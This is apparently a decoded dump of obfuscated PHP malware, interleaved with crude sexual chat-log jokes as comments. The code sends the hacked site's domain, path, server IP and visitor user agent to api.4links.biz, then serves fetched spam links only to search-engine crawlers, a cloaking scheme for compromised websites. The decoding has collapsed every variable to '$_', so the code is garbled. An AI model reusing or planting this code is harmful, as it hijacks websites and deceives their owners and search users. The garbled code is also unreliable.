PHP Decode

ErRor_REPORtinG(00/*Bloodninja: I lick your earlobe, and undo your watch.*/);ERrOr_REportINg(E_ALL^8^2/*Sarah19fca: mmmm, okay.*/);/*Bloodninja: I take yo pants off, grunting like a troll.*/SeT_tiMe_lIMit(00);iNi_sET("max_execution_time","-1");/*Sarah19fca: Yeah I like it rough.*/iNi_sEt("memory_limit","-1");iGnORE_usEr_abOrT(true/*Bloodninja: I smack you thick booty.*/);$_=StRtolOwer(tRiM("http://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"]));/*Sarah19fca: Oh yeah, that feels good.*/if(_() AND _()):if(_($_)):$_=_();/*Bloodninja: Smack, Smack, yeeeaahhh.*/if($_):$_=_($_);if($_):$_=_($_);if($_):$_=_($_);if($_):$_=$_;/*Bloodninja: I make some toast and eat it off your ass. Land O' Lakes butter all in your crack. Mmmm.*/$_=$_." ".$_;print$_=@_($_,$_,$_);exit;/*Sarah19fca: you like that?*/endif;endif;@$_=STR_repLAcE("</html>","",$_);@$_=STR_REPlAce("</body>","",$_);print$_." ".$_."</body></html>";/*Bloodninja: I peel some bananas.*/exit;/*Sarah19fca: Oh, what are you gonna do with those?*/endif;endif;endif;endif;function _($_){$_=cUrL_INIt();/*Bloodninja: get me peanuts. Peanuts from the ballpark.*/curl_SETopT($_,10002,$_);/*Sarah19fca: Peanuts?*/CURL_SETOPt($_,42/*Bloodninja: Ken Griffey Jr. Yeaaaaahhh.*/,00/*Sarah19fca: What are you talking about?*/);cuRL_setOpT($_,19913/*Bloodninja: I'm spent, I jump down into the alley and smoke a fatty. I throw rocks at the cats.*/,01/*Sarah19fca: This is stupid.*/);CURl_SeToPT($_,78,012);/*Bloodninja: Stone Cold Steve Austin gives me some beer.*/CURl_SetOpt($_,13,012/*Bloodninja: Wanna Wrestle Stone Cold?*/);cURL_sETOpt($_,10018,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:47.0) Gecko/20100101 Firefox/47.0");/*Bloodninja: Yeeaahhhh.*/Curl_Setopt($_,52,01);$_=cURL_exEC($_);/*Sarah19fca: /ignore*/$_=cuRl_GetInfo($_);$_["http_code"];if($_["http_code"]==/*Bloodninja: Its cool stone cold she was a bitch anyway.*/"200"):return$_;else:return false/*Bloodninja: We get on harleys and ride into the sunset.*/;/*=====*/endif;}function _(){if(PREg_matCh("/(yandex|google|bing|yahoo)/i",$_SERVER["HTTP_USER_AGENT"])):return true/*Bloodninja: Wanna cyber?*/;endif;return false/*DirtyKate: K, but don't tell anybody ;-)*/;}/*DirtyKate: Who are you?*/function _(){$_="#\.ico|\.jpeg|\.jpg|\.js|\.gif|\.css|\.png|\.pdf|\.exe|\.doc|\.psd|\.xml|\.txt#i";$_=gETEnV("REQUEST_URI");/*Bloodninja: I've got blond hair, blue eyes, I work out a lot*/if(sTRlEN($_)==00):$_=$_SERVER["REQUEST_URI"];/*Bloodninja: And I have a part time job delivering for Papa John's in my Geo Storm.*/endif;if(Preg_mAtCH($_,$_,$_)):return false;/*DirtyKate: You sound sexy.. I bet you want me in the back of your car..*/endif;return true;}function _($_){$_=trIm($_);/*Bloodninja: Maybe some other time. You should call up Papa John's and make an order*/$_=curL_iNIT();curL_seTopt($_,10002,$_);cuRL_sETOpt($_,42,true);cuRL_seTOPT($_,19913,01);/*DirtyKate: Haha! OK*/CuRl_SeTOpt($_,52,00/*DirtyKate: Hello! I'd like an extra-EXTRA large pizza just dripping with sauce.*/);/*Bloodninja: Well, first they would say, "Hello, this is Papa John's, how may I help you", then they tell you the specials, and then you would make your order. So that's an X-Large. What toppings do you want?*/CuRl_sEtOpT($_,13/*DirtyKate: I want everything, baby!*/,012/*Bloodninja: Is this a delivery?*/);/*DirtyKate: Umm...Yes*/$_=cuRL_EXEc($_);$_=curL_getiNFO($_);/*DirtyKate: So you're bringing the pizza to my house now? Cause I'm home alone... and I think I'll take a shower...*/$_=SUBStr($_,00,$_["header_size"]);Curl_CLose($_);if($_["http_code"]=="200"):if($_["size_download"]!="0"):return true;endif;endif;if($_["http_code"]==/*Bloodninja: Good. It will take about fifteen minutes to cook, and then I'll drive to your house.*/"404"):return false;endif;if($_["http_code"]==/***pause***/"301" OR $_["http_code"]==/*DirtyKate:I'm almost finished with my shower... Hurry up!*/"302"):PrEg_MaTCH("!
(?:Location|URI): *(.*?) *
!",$_,$_);/*Bloodninja: You can't hurry good pizza.*/$_=$_[01];/*Bloodninja: I'm on my way now though*/$_=prEg_REplAce("/^http:\/\/ww\.w\./","",$_);/***pause***/$_=PreG_rEPlaCe("/^https:\/\/ww\.w\./","",$_);$_=PrEg_REpLace("/^http:\/\/w\./","",$_);/*DirtyKate: So you're at my front door now.*/$_=Preg_rEpLACe("/^http:\/\/ww\./","",$_);$_=preg_rEpLaCE("/^https:\/\/w\./","",$_);/*Bloodninja: How did you know?*/$_=PReG_REPlAcE("/^https:\/\/ww\./","",$_);$_=prEG_REpLACe("/^http:\/\//","",$_);/*Bloodninja: I knock but you can't hear me cause you're in the shower. So I let myself in, and walk inside. I put the pizza down on your coffee table.*/$_=prEg_rEpLAcE("/^https:\/\//","",$_);/*Bloodninja: Are you ready to get nasty, baby? I'm as hot as a pizza oven*/$_=Preg_rePLace("/^www\./","",$_);$_=preG_RePLacE("/^http:\/\/ww\.w\./","",$_);/*DirtyKate: ooohh yeah. I step out of the shower and I'm all wet and cold. Warm me up baby*/$_=PrEG_rEplACe("/^https:\/\/ww\.w\./","",$_);/*Bloodninja: So you're still in the bathroom?*/$_=pReg_rEPlaCE("/^http:\/\/w\./","",$_);$_=pREg_rEplaCe("/^http:\/\/ww\./","",$_);$_=pREG_RePLacE("/^https:\/\/w\./","",$_);/*DirtyKate: Yeah, I'm wrapping a towel around myself.*/$_=PREg_ReplAcE("/^https:\/\/ww\./","",$_);/*Bloodninja: I can no longer resist the pizza. I open the box and unzip my pants with my other hand. As I penetrate the gooey cheese, I moan in ecstacy. The mushrooms and Italian sausage are rough, but the sauce is deliciously soothing. I blow my load in seconds. As you leave the bathroom, I exit through the front door....*/$_=Preg_rEPlaCe("/^http:\/\//","",$_);$_=pReg_RePlACE("/^https:\/\//","",$_);$_=pReG_REPLAce("/^www\./","",$_);/*DirtyKate: What the fuck?*/if($_==/*DirtyKate: You perverted piece of s**t*/$_):return true/*DirtyKate: F**k*/;/*=====*/else:return false;endif;endif;return false;/*Bloodninja: Wanna cyber?*/}function _(){$_="850983952";$_="api.4links.biz";$_="Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:47.0) Gecko/20100101 Firefox/47.0";/*MommyMelissa: Sure, you into vegetables?*/$_=STrToLOweR(trIm($_SERVER["HTTP_HOST"]));$_=PreG_ReplAcE("/^http:\/\/ww\.w\./","",$_);/*Bloodninja: What like gardening an s**t?*/$_=PReg_rePlaCE("/^https:\/\/ww\.w\./","",$_);/*MommyMelissa: Yeah, something like that.*/$_=pReg_rEPLaCE("/^http:\/\/w\./","",$_);$_=pREG_REPLacE("/^http:\/\/ww\./","",$_);/*Bloodninja: Nuthin turns me on more, check this out*/$_=PREG_rEPLace("/^https:\/\/w\./","",$_);/*Bloodninja: You bend over to harvest your radishes.*/$_=PrEG_repLaCe("/^https:\/\/ww\./","",$_);$_=PrEG_repLaCE("/^http:\/\//","",$_);$_=Preg_rEpLaCe("/^https:\/\//","",$_);/*(pause)*/$_=PrEG_REPLAce("/^www\./","",$_);/*MommyMelissa: is that it?*/$_=GeTENV("REQUEST_URI");/*Bloodninja: You water your tomato patch.*/if(StRLen($_)==/*Bloodninja: Are you ready for my fresh produce?*/00/*MommyMelissa: I was thinking of like, sexual acts INVOLVING vegetables... Can you make it a little more sexy for me?*/):$_=$_SERVER["REQUEST_URI"];endif;$_=stRToLOWER(TRim("http://".$_.$_));$_=uRlENcODe($_);$_="http://".$_."?id=".$_."&useragent=".uRLENcOde($_SERVER["HTTP_USER_AGENT"])."&partner=".$_."&domain=".$_."&path=".$_."&serverip=".$_SERVER["SERVER_ADDR"];$_=CUrl_INIT($_);@CURL_seTOPt($_,42,false/*(pause)*/);/*Bloodninja: I touch you on your lettuce, you massage my spinach... Sexily.*/@CuRl_sEtoPt($_,19913/*Bloodninja: I ride your buttocks, like they were amber waves of grains.*/,true/*MommyMelissa: Grain doesn't really turn me on... I was thinking more along the lines of carrots and zucchinis.*/);@cURL_SetoPT($_,78/*Bloodninja: my zucchinis carresses your carrots.*/,017);@cuRl_SetOPT($_,10018,$_);$_=@curL_eXec($_);if(cUrL_ErRNO($_)):$_=fiLE_gET_conTenTs($_);endif;@cURL_cloSe($_);if($_):PReg_matCH("/(\<\!--Privat_link--\>)(.*?)(\<\!--Privat_link--\>)/",$_,$_);$_=@$_[02];return$_;endif;}function _($_,$_,$_){$_=STrpos($_,$_);return$_!==false?SUBstr_RePLaCe($_,$_,$_,STrLEN($_)):$_;}function _($_){PreG_maTch_alL("/<p[^>]*>(.*?)<\/p>/",$_,$_);/*Bloodninja: Damn baby your right, this s**t is HOT.*/return$_[01/*MommyMelissa: ...*/];}function _($_){$_="";$_=00;/*Bloodninja: My turnips listen for the soft cry of your love. My insides turn to celery as I unleash my warm and sticky cauliflower of love.*/foreach($_ as$_):if(!StrpOs($_,"href=")&&!StrpOS($_,"-")):$_=STrLEN($_);if($_>$_):$_=$_;/*MommyMelissa: What the f**k is this madlibs? I'm outta here.*/$_=$_;endif;endif;endforeach;return$_;}